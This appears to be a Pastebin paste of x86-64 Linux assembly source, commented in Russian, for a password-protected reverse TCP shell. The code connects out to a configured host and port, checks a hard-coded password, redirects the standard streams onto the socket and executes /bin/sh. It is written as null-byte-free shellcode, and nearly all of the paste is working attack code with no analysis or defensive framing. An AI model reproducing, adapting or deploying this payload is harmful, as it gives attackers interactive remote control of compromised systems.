Advertisement
Guest User

Untitled

a guest
Mar 19th, 2019
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.12 KB | None | 0 0
  1. ; =================================================
  2. ; Защищённый реверсивный TCP шелл для Linux x64
  3. ; Author: Alan Vivona
  4. ; =================================================
  5.  
  6. global _start
  7.  
  8. ; Номера системных вызовов
  9. syscalls.socket equ 0x29
  10. syscalls.bind equ 0x31
  11. syscalls.listen equ 0x32
  12. syscalls.connect equ 0x2a
  13. syscalls.accept equ 0x2b
  14. syscalls.close equ 0x03
  15. syscalls.dup2 equ 0x21
  16. syscalls.write equ 0x01
  17. syscalls.read equ 0x00
  18. syscalls.execve equ 0x3b
  19.  
  20. ; Определения констант
  21. ipv4 equ 0x02 ; AF_INET
  22. ipv4.addressLen equ 0x10
  23. tcp equ 0x01 ; SOCK_STREAM
  24.  
  25. ; Стандартные потоки
  26. standardIO.in equ 0x00
  27. standardIO.out equ 0x01
  28. standardIO.err equ 0x02
  29.  
  30. ;:> echo -n '//bin/sh' | rev | xxd
  31. ;: 00000000: 6873 2f6e 6962 2f2f hs/nib//
  32. binshString equ 0x68732f6e69622f2f
  33.  
  34. ; Конфигурация
  35. config.max_cons equ 0x2
  36. config.password equ 0x4d54454c214e4945 ; MTEL!NIE > LETMEIN!
  37.  
  38. config.target equ 0x100007f5c110002 ; tcp://127.0.0.1:4444
  39. ; Это содержит нулевые байты, так что я заменил антиподом
  40. config.target.complement equ 0xfeffff80a3eefffe ; neg(tcp://127.0.0.1:4444)
  41.  
  42.  
  43. section .text
  44.  
  45. _start:
  46.  
  47. ; 1 - Создаём сокет
  48. push syscalls.socket
  49. pop rax
  50. cdq
  51. push ipv4
  52. pop rdi
  53. push tcp
  54. pop rsi
  55. syscall
  56. mov r15, rax ; сохраняем fd сокета в r15
  57.  
  58. ; 2 - Соединяемся с целевой машиной
  59. xchg rax, rdi
  60. mov rcx, config.target.complement
  61. neg rcx
  62. push rcx
  63. mov rsi, rsp
  64. push ipv4.addressLen
  65. pop rdx
  66. push syscalls.connect
  67. pop rax
  68. syscall
  69.  
  70. ; 3 - Читаем пароль из клиентского fd
  71. read_pass:
  72. xor rax, rax ; номер системного вызова read == 0x00
  73. mov rdi, r15 ; rdi = fd
  74. push 0x04
  75. pop rdx ; rdx = размер вводимых данных
  76. sub rsp, rdx
  77. mov rsi, rsp ; rsi => buffer
  78. syscall
  79. ; Проевряем пароль
  80. mov rax, config.password
  81. mov rdi, rsi
  82. scasq
  83. jne read_pass
  84.  
  85. ; 4 - Дублируем стандартные потоки
  86. mov rdi, r15 ; Восстанавливаем fd сокета в rdi
  87. push 0x02
  88. pop rsi
  89. loop_through_stdfs:
  90. push syscalls.dup2
  91. pop rax
  92. syscall
  93. dec rsi
  94. jns loop_through_stdfs
  95.  
  96. ; 5 - Запускаем
  97. xor rdx, rdx
  98. push rdx ; пушим нулевой байт первым
  99. mov rbx, binshString ; пушим реверсивное /bin//sh
  100. push rbx ; сохраняем адрес строки /bin//sh в rdi
  101. mov rdi, rsp
  102. push rdx ; пушим второй нулевой байт
  103. mov rdx, rsp
  104. push rdi ; сохраняем адрес строки /bin//sh в rsi
  105. mov rsi, rsp
  106. push syscalls.execve
  107. pop rax
  108. syscall
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement